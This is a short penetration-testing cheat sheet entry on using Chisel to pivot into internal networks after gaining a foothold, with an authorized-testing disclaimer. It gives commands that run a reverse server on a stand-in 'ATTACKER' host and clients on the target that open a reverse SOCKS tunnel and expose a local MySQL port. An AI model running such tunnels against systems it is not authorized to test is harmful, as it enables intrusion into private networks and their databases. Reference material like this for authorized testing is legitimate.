Tunneling & Pivoting
Chisel
Fast TCP/UDP tunnel over HTTP secured with SSH-like crypto.
Authorized testing only. Practice on systems you own, isolated labs, or targets with written permission. Unauthorized access is illegal.
When
You need to pivot into internal networks through a foothold.
How
Run server on attacker; client on target; create reverse/socks tunnels.
Why
Simple reliable pivoting for labs and real engagements.
Commands & usage
./chisel server -p 8000 --reverse
./chisel client ATTACKER:8000 R:socks
./chisel client ATTACKER:8000 R:3306:127.0.0.1:3306
Commands are educational examples. Adapt hosts, paths, and rates to your authorized scope.
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